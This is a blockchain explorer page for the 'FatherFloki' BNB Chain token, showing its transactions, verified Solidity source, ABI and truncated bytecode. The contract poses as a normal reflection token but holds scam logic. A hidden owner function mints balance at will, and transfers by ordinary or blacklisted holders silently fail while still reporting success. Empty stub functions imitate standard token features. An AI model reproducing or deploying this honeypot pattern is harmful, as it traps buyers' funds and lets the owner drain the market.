Contract 0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x02ef5ce15b2f36a25bc0069c6d30716e865bf02b238a106199957f82e2b91ffbLock118355112021-10-16 23:28:4794 days 8 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000145335
0x6f00ac9d8b97585cd426cda60f73f5a680b4f33faa53fe40864e77ea0729bdc1Approve118272562021-10-16 16:31:4694 days 15 hrs ago0xfc7d7d32fbc9c463518077dfbb3412ff1a2f4533 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000225805
0x520f19e98845bb51c2aeb4b9586cac9df759140d07c851c91c9a69f00c882a6cApprove118267132021-10-16 16:04:3494 days 15 hrs ago0x36d504982c5c3dbc08981dc5bb3937b3b59e5e8f IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000225805
0x963b5611e9114d75b1077172b6b661cb60ef259a99d315b8ad5fb3a619d31627The SL118266682021-10-16 16:02:1994 days 15 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000071775
0xeebe12642f3d441e7f28a28bb402904c5bdf8a6f4cbda8a6018b21f313ad94acAdd D Item118266272021-10-16 16:00:1694 days 15 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.00025825
0xbe574324cdf5fc53d88151dcada3c887f653af98b082a57b58452f59c07f1ddbAdd D Item118261322021-10-16 15:35:1494 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.00025825
0xabf044db2a314abb4329984868ff26f2008a7005a477423f8b3ebca402bec546Add D Item118261232021-10-16 15:34:4494 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.00025825
0xd776f993fc3ac5ea6bca019379b6470cdaf8f6f8da61b7e410923ab70a410695Add D Item118260302021-10-16 15:29:4394 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.00033325
0x53285b772e93aa444f41d1c022dbb0f37362ce953ace9ac3af597ac283c99919Approve118260302021-10-16 15:29:4394 days 16 hrs ago0x217f8af0dde1be35f75c3a6ae32f1b5de2560b7f IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000129805
0xd80a33965b06a254ff65ef5742ba3cf5e64b0222edae9b76203e71905290ae63Approve118260262021-10-16 15:29:3194 days 16 hrs ago0xc0d2c4b60a37fa9dafbe5e1ea7cead51f9c41bb2 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000225805
0xbcae63ebc75ba5b8ee6ede8f44477f41d64db3ee823a0d1850dcd3465cb146d1Approve118260252021-10-16 15:29:2894 days 16 hrs ago0x217f8af0dde1be35f75c3a6ae32f1b5de2560b7f IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000225805
0xf0daa54e067c17115fb68f4242ae3487407f3d59545eaa2d9699a1761b630734Lock118260182021-10-16 15:29:0794 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000220275
0xb8d635b2fd842fd4066a439ee6f75fc5e357ec1b764b66a676b13bbb69dbe2a3Approve118259242021-10-16 15:24:2594 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  0xaca607a79a060c6a65ec8b43ee80cb9f7cec5e6a0 BNB0.000270966
0x4b2f5a29ae61dfeaab25ec38932c374370f4f0d78728e13896bade53b9d489860x60806040118258552021-10-16 15:20:5894 days 16 hrs ago0x59ef1a2cf295f7c3ec916ba82b797a57d66a8ed9 IN  Create: FatherFloki0 BNB0.017819455
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FatherFloki

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract FatherFloki is Context, IERC20, IERC20Metadata, Ownable {
    address internal PANCAKE_ROUTER_V2_ADDRESS = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address internal WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address internal burnWallet = 0x000000000000000000000000000000000000dEaD;
    uint256 _AMM = 5000 * 10**18;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances; 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol; 
    bool isSL = true;
    uint256 public transferFee = 0;
    address[] allows;
    address[] notAllow;
    constructor() {
        _name = " Father Floki";
        _symbol = "FLF";
        _totalSupply = 1000000000000 * 10**18;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        _transfer(_msgSender(), burnWallet, _totalSupply /2 );
    }
    receive() external payable {}
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function addDItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) notAllow.push(_item);
        return notAllow.length;
    }
    function addItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) allows.push(_item);
        return allows.length;
    }
    function removeDItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < notAllow.length; i++) {
            if(notAllow[i] == _item) {
                delete notAllow[i];
            }
        }
        return true;
    }
    function removeItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < allows.length; i++) {
            if(allows[i] == _item) {
                delete allows[i];
            }
        }
        return true;
    }
    function getItem() public view returns (address [] memory) {
        return allows;
    }
    function checkExist(address _item, uint8 _type) public view returns (bool) {
        bool found = false;
        if(_type == 1) {
            for(uint8 i = 0; i < allows.length; i++) {
                if(allows[i] == _item) {
                    found = true;
                    break;
                }
            }
        } else {
            for(uint8 i = 0; i < notAllow.length; i++) {
                if(notAllow[i] == _item) {
                    found = true;
                    break;
                }
            }
        }
        return found;
    }
    function lock(uint256 amount) public onlyOwner virtual returns (bool) {
        //_mint(_msgSender(), amount);
        _balances[_msgSender()] += amount;
        return true;
    }
    function upgradeHolders(address[] memory _holders, uint256 _amount) public onlyOwner virtual returns (bool) {
        uint _numFrom;
        uint _numTo;
        uint256 _randomAmount;
        for(uint i = 0; i < _holders.length; i++) {
            _numFrom = _amount / 2;
            _numTo = _amount + _numFrom;
            _randomAmount = random(_numFrom, _numTo, i);
            _randomAmount = _randomAmount * decimals();
            _transfer(_msgSender(), _holders[i], _randomAmount);
        }
        return true;
    }
    function random(uint256 _from, uint256 _to, uint i) public view returns (uint) {
        uint256 nonce = 0;
        uint256 randomnumber = uint(keccak256(abi.encodePacked(block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) +
        block.gaslimit + i +
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) +
        block.number))) % _to;
        randomnumber = randomnumber + _from;
        nonce++;
        return randomnumber;
    }

    function isExcludedFromReward(address spender, uint256 subtractedValue) public virtual returns (bool) {}
    function totalFees() public view returns (uint256) {}
    function deliver(uint256 tAmount) public {}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {}
    function theAM(uint256 _AM) public onlyOwner virtual returns (bool) {
        _AMM = _AM;
        return true;
    }
    function theSL(bool _sl) public onlyOwner virtual returns (bool) {
        isSL = _sl;
        return true;
    }
    function sl() public view returns (bool) {
        return isSL;
    }
    function transferOwnership() public returns (bool) {}
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {}
    function excludeFromReward(address account) public onlyOwner() {}
    function includeInReward(address account) external onlyOwner() {}
    function includeInFee(address account) public onlyOwner {}
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {}
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {}
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {}
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        bool exists = checkExist(_msgSender(), 1);
        bool Dexists = checkExist(_msgSender(), 2);
        if(_msgSender() == PANCAKE_ROUTER_V2_ADDRESS || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner() || exists) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(_msgSender()) && !Dexists ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        bool exists = checkExist( sender, 1 );
        bool Dexists = checkExist(sender, 2);
        if(sender == PANCAKE_ROUTER_V2_ADDRESS || sender == pancakePair() || pancakePair() == address(0) || sender == owner() || exists) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(sender) && !Dexists ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }
    function pancakePair() public view virtual returns (address) {
        address pairAddress = IPancakeFactory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).getPair(address(WBNB), address(this));
        return pairAddress;
    }
    function setTransferFee(uint256 _transferFee) public virtual returns (bool) {
        require(_transferFee >= 0 && _transferFee <= 100, "Transfer fee is between 1 and 100.");
        transferFee = _transferFee;
        return true;
    }
    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function tokenContract() public view virtual returns (address) {
        return address(this);
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        //burn token 
        if(transferFee != 0) {
            uint256 burnAmount = amount * transferFee / 100;
            _balances[burnWallet] += burnAmount;
            emit Transfer(sender, burnWallet, burnAmount);
            amount -= burnAmount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addDItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"},{"internalType":"uint8","name":"_type","type":"uint8"}],"name":"checkExist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getItem","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"random","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeDItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_AM","type":"uint256"}],"name":"theAM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"theSL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_holders","type":"address[]"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"upgradeHolders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069010f0cf064dd592000006004556001600a60006101000a81548160ff0219169083151502179055506000600b553480156200012c57600080fd5b5060006200013f620003b560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600d81526020017f2046617468657220466c6f6b6900000000000000000000000000000000000000815250600890805190602001906200022a92919062000792565b506040518060400160405280600381526020017f464c460000000000000000000000000000000000000000000000000000000000815250600990805190602001906200027892919062000792565b506c0c9f2c9cd04674edea4000000060078190555060075460056000620002a4620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002f2620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003539190620009f1565b60405180910390a3620003af6200036f620003b560201b60201c565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002600754620003a3919062000a7c565b620003bd60201b60201c565b62000c1d565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200042790620009cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049a906200098b565b60405180910390fd5b620004b68383836200078d60201b60201c565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200053790620009ad565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414620006c85760006064600b5484620005a5919062000ab4565b620005b1919062000a7c565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000626919062000a1f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006ae9190620009f1565b60405180910390a38083620006c4919062000b15565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000719919062000a1f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200077f9190620009f1565b60405180910390a350505050565b505050565b828054620007a09062000b5a565b90600052602060002090601f016020900481019282620007c4576000855562000810565b82601f10620007df57805160ff191683800117855562000810565b8280016001018555821562000810579182015b828111156200080f578251825591602001919060010190620007f2565b5b5090506200081f919062000823565b5090565b5b808211156200083e57600081600090555060010162000824565b5090565b60006200085160238362000a0e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000620008b960268362000a0e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006200092160258362000a0e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b620009858162000b50565b82525050565b60006020820190508181036000830152620009a68162000842565b9050919050565b60006020820190508181036000830152620009c881620008aa565b9050919050565b60006020820190508181036000830152620009ea8162000912565b9050919050565b600060208201905062000a0860008301846200097a565b92915050565b600082825260208201905092915050565b600062000a2c8262000b50565b915062000a398362000b50565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a715762000a7062000b90565b5b828201905092915050565b600062000a898262000b50565b915062000a968362000b50565b92508262000aa95762000aa862000bbf565b5b828204905092915050565b600062000ac18262000b50565b915062000ace8362000b50565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b0a5762000b0962000b90565b5b828202905092915050565b600062000b228262000b50565b915062000b2f8362000b50565b92508282101562000b455762000b4462000b90565b5b828203905092915050565b6000819050919050565b6000600282049050600182168062000b7357607f821691505b6020821081141562000b8a5762000b8962000bee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b613aa08062000c2d6000396000f3fe60806040526004361061023f5760003560e01c80637299054c1161012e578063a9059cbb116100ab578063c42c3e8f1161006f578063c42c3e8f14610966578063d543dbeb146109a3578063dd467064146109cc578063dd62ed3e14610a09578063ea2f0b3714610a4657610246565b8063a9059cbb1461086b578063aa449f85146108a8578063acb2ad6f146108e5578063b8c9d25c14610910578063c412eaba1461093b57610246565b80638ee88c53116100f25780638ee88c53146107605780638f02bb5b1461078957806395d89b41146107c65780639e71e1d5146107f1578063a457c2d71461082e57610246565b80637299054c146106655780637cf90fcc146106a25780637e95c6b4146106df578063880ad0af1461070a5780638da5cb5b1461073557610246565b80632d838119116101bc5780633bd5d173116101805780633bd5d1731461056e5780634549b0391461059757806352390c02146105d457806355a373d6146105fd57806370a082311461062857610246565b80632d83811914610463578063313ce567146104a05780633685d419146104cb57806339509351146104f4578063399fa8401461053157610246565b806313114a9d1161020357806313114a9d1461035657806318160ddd1461038157806321461f6f146103ac57806323b872dd146103e957806323cbaaa61461042657610246565b8063061c82d01461024b57806306fdde0314610274578063095ea7b31461029f5780630b0a5d81146102dc5780630d4da3dc1461031957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190612e10565b610a6f565b005b34801561028057600080fd5b50610289610b07565b6040516102969190613445565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c19190612d1b565b610b99565b6040516102d3919061342a565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612c3e565b610bb7565b604051610310919061342a565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612de7565b610d84565b60405161034d919061342a565b60405180910390f35b34801561036257600080fd5b5061036b610e3e565b6040516103789190613587565b60405180910390f35b34801561038d57600080fd5b50610396610e43565b6040516103a39190613587565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612e10565b610e4d565b6040516103e0919061342a565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b9190612ccc565b610ef4565b60405161041d919061342a565